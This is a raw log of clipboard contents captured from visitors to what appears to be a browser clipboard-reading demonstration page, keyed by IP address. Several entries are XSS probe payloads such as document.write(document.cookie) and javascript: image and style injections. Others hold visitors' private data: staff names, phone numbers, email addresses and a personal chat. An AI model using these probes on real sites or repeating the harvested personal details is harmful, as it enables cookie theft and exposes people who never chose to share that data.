iD8DBQFBLxMAezGozzK2tZARAj6eAJ0VX9vmrTBin4Vxt3FchPLIddKAlQCgvt20 dDYTV+/GnsCSHsRfmUz5eJw= =1fzl -----END PGP SIGNATURE----- ------------------------------------------------- REMOTE_ADDR = 66.35.239.94 sure I haven't done anything matsu told me it was pending email from him ------------------------------------------------- REMOTE_ADDR = 137.242.1.30 Presley Roy L Contr 92 IWAS/CSV; Orosco Christine J Contr 92 IWAS/CSV; Pemberton Arthur M Contr 92 IWAS/CSV; Heiner Jenny L Contr 92 IWAS/CNO; Lopez Yvette A GG-13 92 IWAS/CSV; Sumera Dennis C Contr 92 IWAS/CSV ------------------------------------------------- REMOTE_ADDR = 137.242.1.30 document.all.f.s.click ------------------------------------------------- REMOTE_ADDR = 137.242.1.30 Fat Scripts | Download free web scripts in PHP, javascript, ASP ... ... contact form script will allow your visitors to contact you via a web form. ... This script will log the contents (text only) of your visitors clipboard to a ... www.fatscripts.com/index.php - 27k - Cached - Similar pages JSI Tip 5325. Internet Explorer extension to copy Web page title ... ... Web\TITLE_URL.HTM @echo if(showConfirm)(oExtArgs.alert(oTarget.value+'\r\nCopied to Clipboard'));>windir%\Web\TITLE_URL.HTM @echo ^>>%windir%\Web ... www.jsiinc.com/SUBK/tip5300/rh5325.htm - 11k - Cached - Similar pages Working with Web and JSP Targets ... buttons to move Clip window contents to the clipboard, copy clipboard contents to the ... If you use the standalone Web Script editor to write a script, you can ... sybooks.sybase.com/onlinebooks/group-pb/ pbg1000e/wbtarget/@Generic__BookTextView/5795;pt=5744 - 16k - Cached - Similar pages Clipboard exploit ... level API methods such as Copy and Paste in script that could be used in arbitrary ------------------------------------------------- REMOTE_ADDR = 206.171.10.11 hen ------------------------------------------------- REMOTE_ADDR = 206.171.10.11 lipb ------------------------------------------------- REMOTE_ADDR = 68.111.46.66 omain-get snapcheck.sql.gz GDTextTest.pl i ------------------------------------------------- REMOTE_ADDR = 68.111.46.66 n_ad_LINK.jpg icare Call_Center_File_Layout.doc index.html Platinum_layout.doc index2.html apache_pb.gif index_old.html backend log bars.sql mail bars.zip mail.zip buyers.csv members callme.html members.tar datab.html mysqltool database_import product.html domain_Guard.zip repair dump test.html echo.cgi test.pl error.html test3.html export.csv tes ------------------------------------------------- REMOTE_ADDR = 82.65.93.21 sfgdfgfdgffffffffffffffffffffffffff ------------------------------------------------- REMOTE_ADDR = 202.141.69.39 Here is the code for it (why wasn't this fixed in SP2?): ------------------------------------------------- REMOTE_ADDR = 81.144.244.194 Cool. Thanks for the tip. ------------------------------------------------- REMOTE_ADDR = 203.124.144.4 • Check whether any reward item is selected else throw error message. ------------------------------------------------- REMOTE_ADDR = 217.207.236.108 200303 2.3.6.3 1) Added GPIB/LAN host interface type selection on system option display. 2) RMD modified to support selection above. 040403 2.3.6.4 1) For DOS Exsa GPIB support, modified RRS,RDF,RMD,RSG,RRF. 180903 2.3.6.5 1) Added over and under trap, and display accordingly for all gases. 2) In measure, remove switching to low ranges when in manual range control. ------------------------------------------------- REMOTE_ADDR = 217.207.236.108 ction ------------------------------------------------- REMOTE_ADDR = 200.69.218.1 frghjkjool ------------------------------------------------- REMOTE_ADDR = 67.129.173.66 mmand("Paste"); which is similar to the one below). However, I believed this was going to be solved in IE SP2. I cannot s ------------------------------------------------- REMOTE_ADDR = 67.129.173.66 http://www.siteselection.com ------------------------------------------------- REMOTE_ADDR = 205.158.206.130 \n"; echo "
\n"; echo "Name* :\n"; echo "Image* :\n"; echo "Description* :
Max $maxchar chars."; echo "Chars left : "; echo "\n"; echo "
*: Required field
\n"; echo ""; echo "\n"; } // *** (end) ALLOW POSTING ------------------------------------------------- REMOTE_ADDR = 200.148.156.26 dasasdfas ------------------------------------------------- REMOTE_ADDR = 200.148.156.26 dfajsdçflajsdfçla ------------------------------------------------- REMOTE_ADDR = 83.228.3.182 Íîù â êóëàòà íà ïðèçðàöèòå ------------------------------------------------- REMOTE_ADDR = 4.40.38.144 scentiments ------------------------------------------------- REMOTE_ADDR = 213.145.98.32 If you need more information, do not hesitate to contact us again. ------------------------------------------------- REMOTE_ADDR = 63.169.156.2 "Since you answered “None of the Above” for " _ & "Question 1 and “None of the Above” for Question 2, the " _ & "has been ended. ------------------------------------------------- REMOTE_ADDR = 4.40.38.144 cutandpast ------------------------------------------------- REMOTE_ADDR = 68.205.35.4 is ------------------------------------------------- REMOTE_ADDR = 68.205.35.4 ? look ------------------------------------------------- REMOTE_ADDR = 203.217.43.149 dcdcd ------------------------------------------------- REMOTE_ADDR = 203.217.43.149 dfg ------------------------------------------------- REMOTE_ADDR = 64.30.197.197 nmjjn ------------------------------------------------- REMOTE_ADDR = 4.236.69.120 http://forums.spywareinfo.com/index.php?showtopic=15652 ------------------------------------------------- REMOTE_ADDR = 24.79.134.108 http://www.photowow.com/r/contest.asp?p=vote.asp&c=194&i=20239 ------------------------------------------------- REMOTE_ADDR = 61.66.242.225 viarama.com.tw ------------------------------------------------- REMOTE_ADDR = 24.125.122.42 http://www.pdareviewspot.com/search_results.aspx?manufacturerID=3&productID=327&productName=Clie+PEG-T665C&manufacturerName=Sony ------------------------------------------------- REMOTE_ADDR = 193.49.124.107 normalement l’espace est remplacé par un « %20 » ------------------------------------------------- REMOTE_ADDR = 24.125.122.42 http://www.pdareviewspot.com/search_results.aspx?manufacturerID=3&productID=327&productName=Clie+PEG-T665C&manufacturerName=Sony ------------------------------------------------- REMOTE_ADDR = 198.60.233.2 http://lists.netsys.com/mailman/listinfo/full-disclosure ------------------------------------------------- REMOTE_ADDR = 201.8.143.148 sdfsdf ------------------------------------------------- REMOTE_ADDR = 216.113.168.128 generalsstore ------------------------------------------------- REMOTE_ADDR = 220.233.19.241 Lindisfarne Anglican School ------------------------------------------------- REMOTE_ADDR = 220.233.19.241 2004 11:42:31 -0300 | | From: Alexandre Cezar | | To: Ido Rosen , | | "Murtland, Jerry" | | Cc: pen-test@securityfocus.com, webappsec@securityfocus.com, | | full-disclosure@lists.netsys.com | | Subject: RES: Instant Messenger ------------------------------------------------- REMOTE_ADDR = 213.51.192.151 Hi Mark: Thanks for releasing this tool, looks pretty neat. But I must say that I can't understand why these types of errors are still being made in Web applications. Basically if you follow a few simple rules you will avoid these errors: ------------------------------------------------- REMOTE_ADDR = 217.157.226.89 execCommand('Paste') ------------------------------------------------- REMOTE_ADDR = 212.235.14.1 while ($results) { ------------------------------------------------- REMOTE_ADDR = 131.107.76.154 http://lists.virus.org/pen-test-0403/msg00180.html ------------------------------------------------- REMOTE_ADDR = 217.132.212.119 ------------------------------------------------- REMOTE_ADDR = 131.107.76.154 %22 ------------------------------------------------- REMOTE_ADDR = 131.107.76.154 text in your clipboard when you were on the previous page or you are not using IE) ------------------------------------------------- REMOTE_ADDR = 200.201.172.9 1185 ------------------------------------------------- REMOTE_ADDR = 83.103.130.228 aaaaaaaaaaa ------------------------------------------------- REMOTE_ADDR = 207.191.213.228 df ------------------------------------------------- REMOTE_ADDR = 207.179.77.192 Copyright © 1961-2005 World Journal of Psychosynthesis. All Rights Reserved ------------------------------------------------- REMOTE_ADDR = 207.179.77.192 C. CURRENT PROJECTS e-Convertor -- Pinyin + 0, 1, 2, 3, 6 strokes EETimes - awards -- follow up -- put news item and MIT-Lemelson on web site MinngRenn (Meijin) - electronic dictionary -- NJ200; product specs; put CFE in device Sample database of radicals Wanng Ronng (011-8610-6467-2976) -- pay at end of month -- WEDNESDAY CALL Dai Yihua, Chen Jianping, Tian Fangzeng, Li Jianxin (010-8610-8275-7561, cell 136-010-21865) CAS - updated agreement -- have Wanng Ronng get quotation (only) from BLB Internet-Chinese® Dictionary John Hocij 394-1327 -- Michael Douglas -- make PowerPoint presentation from Lemelson-MIT packet Hocij says "call him right after New Year and find out what date he can come" Chinese word processors -- see State News web site -- insert ad again ------------------------------------------------- REMOTE_ADDR = 85.64.174.146 Hello, artNET experts is a major security company located in Israel. Customers like Israeli government, banks, and enterprise organization hire artNET as their major security consultant. I wish to cooperate with SAP making artNET an official security SAP partner. Currently with are involved with several projects concerning SAP security. I would like to know what artNET should do for becoming a SAP security partner. Thanks in advance, Eitan Herman. Security Department Manager. artNET experts, Ltd. 8 Hanagar St, Neve Neman area b 45241, ISRAEL Tel 972-9-7756999 Cell 054-828839 Fax 972-9-7454010 ------------------------------------------------- REMOTE_ADDR = 83.232.34.154 asdf ------------------------------------------------- REMOTE_ADDR = 61.219.36.26 ------------------------------------------------- REMOTE_ADDR = 128.107.253.42 %77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D ------------------------------------------------- REMOTE_ADDR = 81.113.134.232 home/sites/bgmarketing/onlinesecuritycamera.com/web/rss/codelock.php ------------------------------------------------- REMOTE_ADDR = 82.76.35.50 ------------------------------------------------- REMOTE_ADDR = 82.76.35.50 dwqdqwd ------------------------------------------------- REMOTE_ADDR = 82.76.35.50 dwqdqwd ------------------------------------------------- REMOTE_ADDR = 128.2.209.101 http ------------------------------------------------- REMOTE_ADDR = 80.117.150.154 ~ ------------------------------------------------- REMOTE_ADDR = 4.65.232.51 "CLSID:{8E27C92B-1264-101C-8A2F-040224009C02}" ------------------------------------------------- REMOTE_ADDR = 212.176.106.195 anons ------------------------------------------------- REMOTE_ADDR = 202.183.177.220 hmmm ------------------------------------------------- REMOTE_ADDR = 202.183.177.220 <'script'>alert(0)<'/script'> ------------------------------------------------- REMOTE_ADDR = 202.183.177.220 ------------------------------------------------- REMOTE_ADDR = 202.183.177.220 document.write(document.cookie); ------------------------------------------------- REMOTE_ADDR = 202.183.177.220 \\> ------------------------------------------------- REMOTE_ADDR = 202.183.177.220 \\>< ------------------------------------------------- REMOTE_ADDR = 202.183.177.220 \\><< ------------------------------------------------- REMOTE_ADDR = 202.183.177.220 \\><<>document.write(document.cookie); ------------------------------------------------- REMOTE_ADDR = 202.183.177.220 <'>document.write(document.cookie); ------------------------------------------------- REMOTE_ADDR = 202.183.177.220 <';document.write(document.cookie); ------------------------------------------------- REMOTE_ADDR = 202.183.177.220 <'script'>;document.write(document.cookie); ------------------------------------------------- REMOTE_ADDR = 202.183.177.220 <' script '>;document.write(document.cookie); ------------------------------------------------- REMOTE_ADDR = 202.183.177.220 < script '>;document.write(document.cookie); ------------------------------------------------- REMOTE_ADDR = 202.183.177.220 < script >;document.write(document.cookie); ------------------------------------------------- REMOTE_ADDR = 202.183.177.220 < script >;document.write(document.cookie); ------------------------------------------------- REMOTE_ADDR = 202.183.177.220 document.write(document.cookie) ------------------------------------------------- REMOTE_ADDR = 202.183.177.220 ------------------------------------------------- REMOTE_ADDR = 202.183.177.220 http://www.shocking.com/~rsnake/cutandpaste.html?f=cutandpaste.cgi&s=submit&clipb=< script > document.wirte(document.cookie); ------------------------------------------------- REMOTE_ADDR = 150.230.3.4 TEST ME HERE ------------------------------------------------- REMOTE_ADDR = 150.230.3.4 ~~ ------------------------------------------------- REMOTE_ADDR = 81.223.13.194 http://www.gohttp://www.google.com/ogle.com ------------------------------------------------- REMOTE_ADDR = 81.223.13.194 runatest ------------------------------------------------- REMOTE_ADDR = 207.168.119.6 hi ------------------------------------------------- REMOTE_ADDR = 217.84.232.213 asd ------------------------------------------------- REMOTE_ADDR = 217.84.232.213 dfsdfsdf ------------------------------------------------- REMOTE_ADDR = 150.230.3.4 http://www.technologyreview.com/articles/05/03/issue/review_password.asp?trk=nl ------------------------------------------------- REMOTE_ADDR = 212.182.102.82 ------------------------------------------------- REMOTE_ADDR = 81.152.171.121 http://cvs.horde.org/co.php/framework/MIME/MIME/Viewer/html.php ------------------------------------------------- REMOTE_ADDR = 81.152.171.121 * $Horde: framework ------------------------------------------------- REMOTE_ADDR = 203.202.23.100 %77%77%77%2E%6A%69%6E%78%2E%63%6F%6D%2F%73%63%72%69%70%74%73%2F%70%72%6F%64%75%63%74%73%2E%61%73%70%3F%63%61%74%49%44%3D%31%26%61%66%66%49%44%3D%2D%31 ------------------------------------------------- REMOTE_ADDR = 209.167.76.156 asdfasdfasdf ------------------------------------------------- REMOTE_ADDR = 145.221.24.42 test ------------------------------------------------- REMOTE_ADDR = 24.121.73.194 # ------------------------------------------------- REMOTE_ADDR = 203.101.58.10 00:11:11:4A:7A:CE~02/11/2005 ------------------------------------------------- REMOTE_ADDR = 210.245.66.75 nhoveem.info ------------------------------------------------- REMOTE_ADDR = 130.214.17.31 test ------------------------------------------------- REMOTE_ADDR = 68.34.101.159 fhf ------------------------------------------------- REMOTE_ADDR = 68.34.101.159 '';!--"=&{()} ------------------------------------------------- REMOTE_ADDR = 68.34.101.159 anything below you didn't have any text in your clipboard when you were on the previous page or you are not using IE) Your clipboard currently contains ------------------------------------------------- REMOTE_ADDR = 68.34.101.159 vcbcvbcvbvcb ------------------------------------------------- REMOTE_ADDR = 82.94.64.178 <IMG SRC=javascript:alert('XSS')> ------------------------------------------------- REMOTE_ADDR = 81.216.240.41 clipboardData ------------------------------------------------- REMOTE_ADDR = 81.216.240.41 currently contains: ------------------------------------------------- REMOTE_ADDR = 81.216.240.41 don't see anything below you didn't have any ------------------------------------------------- REMOTE_ADDR = 81.216.240.41 F5 or shift refresh as this page does nothing but print out what you had on the previous page. (If you don't see anything below you didn't have any text in your clipboard when you were ------------------------------------------------- REMOTE_ADDR = 65.96.187.166 rs2zErer4DjtJws28ld87zcYh7OQLtJs ------------------------------------------------- REMOTE_ADDR = 81.208.36.182 width ------------------------------------------------- REMOTE_ADDR = 81.208.36.182 have any text ------------------------------------------------- REMOTE_ADDR = 202.9.158.9 Environmental variables list ------------------------------------------------- REMOTE_ADDR = 202.9.158.9 TP Server(microsoft.com) --vb Equivalent Connect_Internet(connected, "ftp.microsoft.com", 0, "anonymous", "graz@sqlteam.com", 1, 0, 0) Exec @hr=sp_OAMethod @oPkg,Connect_Internet,@Connected Out, @handleid=@opened, @server='ftp.microsoft.com', @port=0, @username='anonymous', @pwd='graz@sq ------------------------------------------------- REMOTE_ADDR = 24.94.24.67 www.site5.com ------------------------------------------------- REMOTE_ADDR = 84.9.14.220 ------------------------------------------------- REMOTE_ADDR = 210.94.41.89 STYLE="background-image: url(javascript:alert('XSS'))"> ------------------------------------------------- REMOTE_ADDR = 80.133.98.184 ------------------------------------------------- REMOTE_ADDR = 169.237.143.32 here ------------------------------------------------- REMOTE_ADDR = 85.96.86.102 241-397-249 ------------------------------------------------- REMOTE_ADDR = 24.76.88.93 Esp: for filter ------------------------------------------------- REMOTE_ADDR = 24.224.179.102 XSS cheatsheet ------------------------------------------------- REMOTE_ADDR = 131.107.0.89 http://www.microsoft.com/downloads/details.aspx?FamilyID=88e783a8-3bfd-47db-b222-ff66c2680852&displaylang= ------------------------------------------------- REMOTE_ADDR = 131.107.0.89 up yours ------------------------------------------------- REMOTE_ADDR = 217.120.169.156 script ------------------------------------------------- REMOTE_ADDR = 192.117.97.135 425 ------------------------------------------------- REMOTE_ADDR = 208.138.121.168 blah ------------------------------------------------- REMOTE_ADDR = 83.168.44.178 j;lkj;lkj;lkj ------------------------------------------------- REMOTE_ADDR = 203.115.21.220 Sysimage OS/application Detection ------------------------------------------------- REMOTE_ADDR = 217.136.60.119 using IE) ------------------------------------------------- REMOTE_ADDR = 203.122.84.215 http://www.friendster.com/friends.php?page=4&uid=6324263 ------------------------------------------------- REMOTE_ADDR = 80.242.10.17 IDA RPC Enumerator ------------------------------------------------- REMOTE_ADDR = 219.64.135.251 cgfg ------------------------------------------------- REMOTE_ADDR = 202.146.236.4 yes ------------------------------------------------- REMOTE_ADDR = 217.133.134.92 nnnnnnnnnnnnnnnnnnnnnnnnnnnnnggggggggggggggg tttttttttttttttttttttttttttttttttttttttttttttt ------------------------------------------------- REMOTE_ADDR = 69.142.157.50 include("advertising.php"); ------------------------------------------------- REMOTE_ADDR = 69.142.157.50 previous page or you ------------------------------------------------- REMOTE_ADDR = 216.148.246.92 yea :O weezer aint they gay? ima sleep ------------------------------------------------- REMOTE_ADDR = 202.152.162.215 http://www.astalavista.com/?section=dir&cmd=file&id=3807 ------------------------------------------------- http://www.astalavista.com//data/warindustries_c_part6.pdf ------------------------------------------------- REMOTE_ADDR = 66.169.199.83 Internal Server Error The server encountered an internal error or misconfiguration and was unable to complete your request. ------------------------------------------------- REMOTE_ADDR = 151.197.183.233 greg was here... ------------------------------------------------- REMOTE_ADDR = 84.178.207.32 fgdfgdfg ------------------------------------------------- REMOTE_ADDR = 195.175.37.54 rsn ------------------------------------------------- REMOTE_ADDR = 68.231.149.81 asdf ------------------------------------------------- REMOTE_ADDR = 61.11.12.178 India ------------------------------------------------- REMOTE_ADDR = 61.11.12.178 IT companies Ranking - March 2005 Rank Company CEO Revenue (in crores) 1 Tata Consultancy Services S Ramadorai 5827 2 Wipro Ltd Azim Premji 5136 3 Infosys Technologies Nandan M Nilekani 4776 4 Hewlett-Packard India Balu Doraisamy 4580 5 IBM India Abraham Thomas 2729 6 Satyam Computer Services B Ramalinga Raju 2542 7 Patni Computer Systems NK Patni 2160 8 HCL Technologies Shiv Nadar 2103 9 Intel Technology India K Jaishankar 2082 10 Redington India Jitendra Kulkarni 1861 11 Cisco Systems (I) Pvt Ltd Rangnath Salgame 1850 12 HCL Infosystems Ajai Chowdhry 1559 13 Ingram Micro India SP Rajguru 1533 14 Moser Baer India Deepak Puri 1509 15 Samsung Electronics India Information & Telecommunication Vivek Prakesh 1409 16 Tech Pacific India 1230 17 Microsoft Corporation (India) Pvt Ltd Rajiv Kaul 916 18 Cognizant Technology Solutions Lakshmi Narayanan 839 19 Oracle India Shekhar Dasgupta 835 20 i-Flex Solutions Rajesh Hukku 805 21 Celtronix India ML Tandon 798 22 Sun Microsystems Bhaskar Pramanik 789 23 CMC Ltd R Ramanan 764 24 Mahindra British Telecom John Helleur 729 25 American Power Conversion Pankaj Sharma 675 26 Polaris Software Lab Arun Jain 646 27 TATA Infotech Farrokh K Kavarana 608 28 Digital GlobalSoft Ltd. Som Mittal 553 29 I-GATE GLOBAL SOLUTIONS Phaneesh Murthy 547 30 Perot Systems TSI Vineet Nayar 544 31 Microtek International Ltd Anil Gupta 510 32 Texas Instruments India Dr Biswadip Mitra 484 33 CMS Computers RD Grover 480 34 NIIT Technologies Arvind Thakur 472 35 Birlasoft Atanu Banerji 434 36 HP-ISO V. Subrahmanyam 399 37 Acer India 396 38 Mphasis BFL Jerry Rao 394 39 Mastek Ashank Desai 383 40 Hexaware Technologies Atul Nishar 382 41 Siemens Information Systems Anil R Laud 380 42 Larsen &Toubro Infotech VK Magapu 369 43 Rolta India Kamal Singh 366 44 NIIT Ltd Vijay Thadani 358 45 SAP India Pvt. Ltd. Alan Sedghi 352 46 Datacraft India Nagendra Venkaswamy 350 47 Hughes Software Systems Arun Kumar 342 48 Honeywell Technology Solutions Lab Krishna Mikkilineni 328 49 Nortel Networks India Ashok Waliya 322 50 Infinite Computer Solutions Navin Chandra 322 51 Zenith Computers Raj Saraf 315 52 PCS Industries AK Patni 307 53 Computer Associates India Ninad Karpe 294 54 Iris Computers Sanjiv Krishen 287 55 SIFY R Ramaraj 280 56 Tulip IT Services Lt. Col. HS Bedi 276 57 SES Technologies PK Krishnaprasad 274 58 Syntel (India) Bharat Desai 269 59 Zensar Technologies Ganesh Natarajan 267 60 TVS Electronics S Shreenivasa Rao 262 61 D-Link India K R Naik 250 62 WeP Peripherals Ram N Agarwal 243 63 Neoteric Informatique Paras Shah 238 64 Covansys India K Subrahmaniam 238 65 GTL Manoj Tirodkar 234 66 Savex Computers Anil Jagasia 231 67 Canon India Alan Grant 227 68 ICICI Infotech V Srinivasan 215 69 Sonata Software Ltd B. Ramaswamy 211 70 NeST Group N Jehangir 210 71 Mascon Global Sandy K Chandra 210 72 Philips Innovation Center Bob Hoekstra 207 73 Infotech Enterprieses Mohan Reddy 191 74 Epson India Etsuo Fujito 190 75 Xansa India Saurabh Srivastava 186 76 Jupiter International Alok Garodia 184 77 Network Solutions (NetSol) Sudhir D Sarma 179 78 Ramco Systems PR Venketarama Raja 171 79 Numeric Power Systems R.Chellappan 170 80 Juniper Networks India Pvt Ltd Girdhar Java 170 81 Rashi Peripherals Suresh Pansari 166 82 Sasken Communication Technologies Rajiv C Mody 166 83 Aptech Promod Khera 161 84 Accel ICIM Systems & Services Ltd NR Panicker 156 85 CSC India Dr Arun Maheshwari 156 86 VisualSoft Technologies 156 87 Tata Elxsi Ltd Madhukar Dev 155 88 AMD Far East (India) Sanjeev Keskar 154 89 Pentamedia Graphics V Chandrasekaran 143 90 Kanbay India Cyprian D'Souza 143 91 Mediaman Infotech Dushyant Mehta 142 92 Pentasoft Technologies 134 93 Mindtree Consulting Ashok Soota 131 94 Aftek Infosys Ranjit Dhuru 128 95 Supertron Electronics VK Bhandari 126 96 3D Networks SK Jha 126 97 Lipi Data Systems Mukul Singhal 125 98 KPIT Cummins Infosystems (Kpit Infosystems Ltd) Kishor Patil 125 99 Priya AK Bhuwania 125 100 Tata Technologies PR McGoldrick 115 101 EMC Manoj chugh 114 102 Cranes Software International Asif Kadder 114 103 Spice Net Ltd Arun Seth 110 104 IRCTC MN Chopra 110 105 MRO-Tek S Narayanan 107 106 Geometric Software Solutions Manu Parpia 106 107 Tally Solutions Bharat Goenka 105 108 Frontier Business Systems Ravi Verdes 104 109 Keane India Parmindar S Miglani 100 110 Zylog Systems V Sudarshan 96 111 Sogo Computers G Jayamuni Rao 95 112 Aditi Technologies Pradeep Singh 90 113 Cadence Design Systems India Jaswinder S Ahuja 88 114 Subex Systems Subash Menon 88 115 Tata Interactive Systems Sanjaya Sharma 83 116 Softcell Technologies Sunil Dalal 83 117 Blue Star Infotech Pramod Bhalla 81 118 Intelligroup Asia MDS Bosco 81 119 Nucleus Software Exports Vishnu Dusad 80 120 Persistent Systems Anand Deshpande 78 121 PC Solutions Pvt Ltd Devendra Taneja 76 122 Onward Novell Munesh Jalota (Country Manager) 75 123 Comsat Max Sudipta K Sen 73 124 Celetron Power India T Vasu 71 125 Team Computers Ranjan Chopra 70 126 Micro Max Technologies Pvt Ltd Rajesh Agarwal 70 127 Intex Technologies Narender Bansal 70 128 Future Software KV Ramani 69 129 OA Compserve R K Malhotra 67 130 Axes Technologies (India) Pvt Ltd S Udaya Kumar 66 131 FCS Software Solutions Dalip Kumar 64 132 DAX Networks Ashok Mirza 62 133 Multiple Zones India Manpreet Singh 60 134 DB Power Electronics (P) Ltd. Dilip Bhide 60 135 ORG Infomatics Ajoy Khanderia 55 136 VXL Instruments Ltd Tim Goldring 53 137 Quinnox Consultancy Services Udai Kumar 50 138 VSM Advance Automation Deepak Lomba, Raj Kumar Gupta 50 139 Comnet Vision (India) Pvt Ltd PK Sharma 50 140 SAS India Gourish Hosangady 50 141 Quintegra Solutions Babu Thiagarajan 50 142 SSI Kalpathi S Suresh 49 143 RR Systems Bharat Bhushan 48 144 Netlink Business Systems Pvt Ltd Rajesh Bakshi 47 145 Park Electronik Ajaya Kumar 46 146 Kadam Marketing Anil Sachdeva 46 147 Artek Enterprises Anil Gupta 46 148 Jetking Infotrain Suresh Bharwani 45 149 Targus Technologies Pvt Ltd Col Balwinder Singh 44 150 Nelito Systems JM Varma 44 151 RMSI Ajay Lavakare 44 152 Aztec Software and Technology Services V Chandrasekran 41 153 Syamntec India Unmesh Deshmukh 40 154 Fortune Marketing Manoj Gupta 40 155 Modi Peripherals Shyam Modi 40 156 ADP Wilco India Shakti Sagar 39 157 Netkraft Anand Sudarshan 38 158 Sierra Atlantic Software Services Sarath Sura 38 159 Infrasoft Technologies Hanuman Tripathi 36 160 San Computech Shudhir Saluja 36 161 Elcom Trading Company Limited Somesh Narang 36 162 DCM Datasystems Pvt Ltd Sumant Bharat Ram 36 163 Electronics & Controls Power Systems Pvt Ltd K Ramachandran 35 164 Convergent Communications Venkat Kedalya 34 165 Microclinic India Tarun Seth 34 166 Value Point Systems RS Shanbhag 33 167 SQL Star International Pradeep shenoy 32 168 Onward Technologies Harish mehta 31 169 Trifin Technologies Ashish Agarwal 31 170 Vidur & Co Keshav Madhav 30 171 Gemini Infotech SP Agarwala 30 172 OSS Technologies D Deekshith 30 173 Softech Computers Ashok Taneja 29 174 Login Infotech Sanjay Shrivatsava 28 175 Pulse Systems NK Agarwal 28 176 Kale Consultants Vipul jain 27 177 Champion Computers Pvt Ltd Kapil Wadhwa 26 178 FCG Software Services Avinash Chandra Agrawal 25 179 Miraj Infotech AK Pandey 25 180 Spark Technology and Testing Pvt Ltd S Nautiyal 24 181 Linc Software Chandra Kumar 24 182 Binary Systems Pvt Ltd Harish Kumar Shetty 23 183 Red Hat India Javed Tapia 23 184 Trend Micro India Niraj Kaushik 23 185 Future Business Tech Jayesh Mehta 23 186 Mistral Software Anees Ahmed 22 187 QAI India Navyug Mohnot 22 188 Computer Land AK Singh 22 189 Ittiam Systems Srini Rajam 22 190 Consul Consolidated NP Krishnan 21 191 Digitronics Infosys Pvt Ltd Dinesh Kumar Gupta 20 192 Aryan Technologies GD Bhargava 20 193 Laser Soft Info Systems B Suresh Kamath 20 194 Visesh Infotecnics Sanjiv Bhavnani 20 195 KMG Infotech Pvt. Ltd. Subhash Bhatia 19 196 Crystal Impex Devang Shah 19 197 KLA Electronics RK Bansal 18 198 ADN Computers Gulshan Arora 18 199 Computer Empire Harish Puri 18 200 Geodesic Information Systems Kiran Kulkarni (MD) 18 ------------------------------------------------- REMOTE_ADDR = 217.94.171.6 www.jaeonline.net ------------------------------------------------- REMOTE_ADDR = 24.16.206.110 unilect0 ------------------------------------------------- REMOTE_ADDR = 24.16.206.110 next apr 5 ------------------------------------------------- REMOTE_ADDR = 221.232.76.51 java ------------------------------------------------- REMOTE_ADDR = 221.232.76.51 any text in ------------------------------------------------- REMOTE_ADDR = 210.91.84.234 link ------------------------------------------------- REMOTE_ADDR = 195.24.150.150 asdfasdfasdf ------------------------------------------------- REMOTE_ADDR = 192.80.55.73 jamiek3@verizon.net ------------------------------------------------- REMOTE_ADDR = 64.4.1.11 Keeble and Shuchat ------------------------------------------------- REMOTE_ADDR = 24.199.114.19 foo ------------------------------------------------- REMOTE_ADDR = 80.100.9.24 a/s/l? ------------------------------------------------- REMOTE_ADDR = 85.97.133.187 Spade Buddy Yahoo 3.7 ------------------------------------------------- REMOTE_ADDR = 65.8.245.16 fsd ------------------------------------------------- REMOTE_ADDR = 81.154.168.171 superb ------------------------------------------------- REMOTE_ADDR = 62.131.128.39 http://www.nic.st/register.php ------------------------------------------------- REMOTE_ADDR = 218.38.226.175 Cross Site Scripting CheatSheet ------------------------------------------------- REMOTE_ADDR = 138.67.128.3 strapworks.txt ------------------------------------------------- REMOTE_ADDR = 134.140.175.96 ------------------------------------------------- REMOTE_ADDR = 195.5.88.40 ------------------------------------------------- REMOTE_ADDR = 212.138.64.172 security vulnerabilities ------------------------------------------------- REMOTE_ADDR = 202.165.192.24 XSS cheatsheet ------------------------------------------------- REMOTE_ADDR = 167.127.24.69 http://www.parosproxy.org/paros-3.2.0alpha-win.exe ------------------------------------------------- REMOTE_ADDR = 204.48.230.20 fghdfgdf ------------------------------------------------- REMOTE_ADDR = 205.227.137.1 cgfcg ------------------------------------------------- REMOTE_ADDR = 205.227.137.1 sdfsdf ------------------------------------------------- REMOTE_ADDR = 80.60.9.107 g ------------------------------------------------- REMOTE_ADDR = 68.126.43.118 ------------------------------------------------- REMOTE_ADDR = 209.63.204.144 blah blah blah ------------------------------------------------- REMOTE_ADDR = 80.70.130.42 setRealHeight ------------------------------------------------- REMOTE_ADDR = 195.202.210.135 bla ------------------------------------------------- REMOTE_ADDR = 82.75.169.39 58 ------------------------------------------------- REMOTE_ADDR = 136.204.220.184 Calvin770D: hey MsPeanut426: what up hottie? Calvin770D: can I ask you a question? MsPeanut426: o ahead MsPeanut426: go* Calvin770D: what version of AIM are you using MsPeanut426: dunno, 95 I think MsPeanut426: it's old Calvin770D: http://www.msnbc.msn.com/id/7844476/ check that out Calvin770D: are you getting anything from that? MsPeanut426: it's not comming up Calvin770D: yeah... me neither Calvin770D: try this http://www.msnbc.msn.com/id/7844476/ MsPeanut426: that I got MsPeanut426: should I read it? Calvin770D: only if you want to Calvin770D: I just throught it was interesting Calvin770D: sorry.... Calvin770D: my geek side is showing through MsPeanut426: its hot MsPeanut426: you're adorable MsPeanut426: hehehehehe MsPeanut426: yeah I don;t really get into the computor stuff as much as I should dating a geek myself Calvin770D: so am I going ot get to meet him on Sat. MsPeanut426: yuppers Calvin770D: cool MsPeanut426: he's coming in on friday Calvin770D: cool MsPeanut426: I'm so excited ------------------------------------------------- REMOTE_ADDR = 212.76.42.124 napisales w temacie ------------------------------------------------- REMOTE_ADDR = 195.230.145.42 111 ------------------------------------------------- REMOTE_ADDR = 195.230.145.42 Papers: ------------------------------------------------- REMOTE_ADDR = 195.230.145.42 Not sure if there is more here. I did get one person on MacOS 10 to test this and it had no effect. Thanks to everyone who let me crash their machines testing this. :) ------------------------------------------------- REMOTE_ADDR = 85.206.161.254 tjrtm ------------------------------------------------- REMOTE_ADDR = 4.18.243.5 ho ho ------------------------------------------------- REMOTE_ADDR = 210.91.84.234 192.168.1.211 ------------------------------------------------- REMOTE_ADDR = 210.91.84.234 192.168.1.211 ------------------------------------------------- REMOTE_ADDR = 212.182.114.243 Sandomierska 107 ------------------------------------------------- REMOTE_ADDR = 212.182.114.243 Rozliczenie_Katalog=F3w_Kielce?= ------------------------------------------------- REMOTE_ADDR = 81.27.192.19 BAFMAN [17.5.05 - 13:54] ------------------------------------------------- REMOTE_ADDR = 209.53.184.3 test ------------------------------------------------- REMOTE_ADDR = 84.240.41.19 Providing IT services like computer network design/administration, web/intranet server's administration, software programming on unix/windows platforms. Creating internet/intranet applications. If you are interested in these fields of cooperation, please email me: Tomas Vilda . Then we could discuss about your needs and I will show example of what I'm doing. Linux 